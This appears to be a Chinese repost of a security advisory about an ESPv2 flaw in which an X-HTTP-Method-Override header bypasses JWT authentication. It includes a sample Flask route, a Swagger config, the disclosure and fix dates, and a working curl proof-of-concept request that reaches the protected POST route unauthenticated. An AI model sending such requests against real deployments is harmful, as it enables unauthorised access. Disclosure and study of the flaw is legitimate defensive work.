curl
--request POST
--header "X-HTTP-Method-Override: PUT"
--header "Content-Type: application/json"
--data '{"username":"xyz"}'
https://my-endpoint.com/api
-
使用 Firebase 对用户进行身份验证
-
使用 Auth0 对用户进行身份验证
-
使用 Okta 对用户进行身份验证
-
使用 Google ID 令牌对用户进行身份验证
-
使用自定义方法对用户进行身份验证
-
服务之间的认证
-
请求的 HTTP 方法不在API服务定义中(OpenAPI 规范或 gRPCgoogle.api.http原型注释)。 -
指定的X-HTTP-Method-Override是 API 服务定义中的有效 HTTP 方法。
@app.route(
"/restricted"
, methods=[
'POST'
])
def
restricted
()
:
message =
"Accessing restricted message."
payload = request.get_json().get(
'payload'
,
''
)
return
jsonify({
'method'
:
'POST'
,
'message'
: message,
'payload'
: payload})
# config.yaml
swagger: "2.0"
info:
title:
"restrictedAPI"
version:
"1.0.0"
paths:
"/restricted"
:
post:
summary:
"Restricted path POST"
operationId:
"restrictedPost"
security:
- google_id_token: []
securityDefinitions:
google_id_token:
authorizationUrl:
""
flow:
"implicit"
type:
"oauth2"
x-google-issuer:
"https://accounts.google.com"
x-google-jwks_uri:
"https://www.googleapis.com/oauth2/v3/certs"
x-google-audiences:
"XXXXXXXXXXX.apps.googleusercontent.com"
curl
--request PUT
--header "X-HTTP-Method-Override: POST"
--header "Content-Type: application/json"
--data '{"payload":"compromised"}'
https://url-to-espv2.com
{
"message"
:
"Accessing restricted method."
,
"method"
:
"POST"
,
"payload"
:
"compromised"
}
-
向 ESPv2 团队披露的日期:2023-03-14 -
ESPv2 中固定的日期:2023-03-28
原文地址:https://github.com/GoogleCloudPlatform/esp-v2/security/advisories/GHSA-6qmp-9p95-fc5f
原文始发于微信公众号(Ots安全):通过“X-HTTP-Method-Override”标头绕过 JWT 身份验证
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论